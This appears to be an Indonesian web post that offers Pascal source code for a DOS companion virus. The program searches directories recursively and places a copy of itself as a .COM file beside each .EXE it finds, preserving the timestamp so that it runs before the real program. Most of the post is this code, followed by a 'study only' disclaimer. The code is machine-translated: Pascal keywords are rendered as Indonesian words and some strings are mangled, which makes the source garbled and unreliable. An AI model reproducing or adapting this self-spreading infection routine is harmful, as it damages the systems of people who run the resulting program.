Virus Kode dalam Pascal!

Its baru VIRI kode
Ini dibuat dalam pascal
Ketikkan di notepad sebagai anyname.pas
 ==================================================================

 Program khendharahap;

{$ M 10000,0,0}

Menggunakan
DOS;

Var
DriveID: String [2];
Buffer: Array [1 .. 8000] Of Byte;
Target, Sumber: File;
Terinfeksi: Byte;
Selesai: Word;
TargetFile: String;

(*??????????????

????????????? *)

Fungsi ExistCom: Boolean;
Var
FindCom: SearchRec;
Mulai
FindFirst (TargetFile, 39, FindCom);
ExistCom: = DosError = 0;
Akhir;



Prosedur SearchDir (Dir2Search: String);
Var
S: SearchRec;

Mulai

Jika Dir2Search [Panjang (Dir2Search)] <> '\' Lalu
Dir2Search: = Dir2Search + '\';



FindFirst (Dir2Search + '* exe.', 39, S);

Sementara DosError = 0 Apakah
Mulai

TargetFile: = Copy (Dir2Search + S.Name, 1,
Panjang (Dir2Search + S.Name) -3) + 'com';

Jika (Copy (S.Name, Panjang (S.Name) -2,3) = 'EXE') Dan
Tidak ExistCom Dan (Terinfeksi <> 25000) Kemudian
Mulai
{$ I-}
Inc (yang terinfeksi);
Assign (Target, TargetFile);
Rewrite (Target, 1);
BlockWrite (Target, Buffer, Selesai + Random (4400));
SetFTime (Target, S.Time);
Tutup (Target);
Jika IoResult = 101 Kemudian
Mulai
Terinfeksi: = 3;
Erase (Target);
Akhir;

{$ I +}
Akhir;

FindNext (S);
Akhir;

FindFirst (Dir2Search + '*', Direktori, S);

Jika S.Name = '.' Kemudian
Mulai
FindNext (S);
FindNext (S);
Akhir;

Jika (DosError = 0) Dan
(S.Attr Dan 16 <> 16) Lalu
FindNext (S);

Sementara DosError = 0 Apakah
Mulai
Jika (S.Attr Dan 16 = 16) (Terinfeksi <3) Kemudian
SearchDir (Dir2Search + S.Name);
FindNext (S);
Akhir;
Akhir;


Mulai

DriveID: = FExpand (ParamStr (1));
Terinfeksi: = 0;


Assign (Sumber, ParamStr (0));
Atur Ulang (Sumber, 1);
BlockRead (Sumber, Buffer, 5000, Selesai);
Tutup (Sumber);

Randomize;

SearchDir (DriveID);

Exec (Copy (ParamStr (0), 1,
Panjang (ParamStr (0)) -3) + 'exe', ParamStr (1));


Akhir.


*** TIDAK UNTUK DISTRIBUSI UMUM ***

• File ini adalah untuk Tujuan Studi Virus Only! Tidak Harus Lulus
• Sekitar antara Publik. Ini Akan Sangat Berguna untuk Belajar bagaimana
• Virus Bekerja dan Menyebarluaskan. Tapi Siapa saja Dengan Akses ke sebuah Assembler dapat
• Mengubahnya Ke Virus Kerja dan Siapa saja Dengan sedikit Majelis Coding
• Pengalaman dapat Mengubahnya Ke Program Lebih jauh Malevolent Dari itu Sudah
• Apakah. Perlu Kode Etik ini di Tangan Bertanggung Jawab!